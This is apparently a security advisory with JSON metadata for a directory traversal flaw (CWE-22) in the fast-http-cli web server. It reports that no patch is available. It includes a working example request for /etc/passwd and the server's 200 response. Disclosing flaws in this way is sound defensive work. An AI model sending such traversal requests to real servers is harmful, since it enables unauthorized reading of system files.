fast-http-cli is the command line interface for fast-http, a simple web server.
fast-http-cli is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.
Example request:
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost
and server Response:
HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked
{contents of /etc/passwd}
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
{
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2020-06-16T21:28:25Z",
"severity": "HIGH",
"cwe_ids": [
"CWE-22"
]
}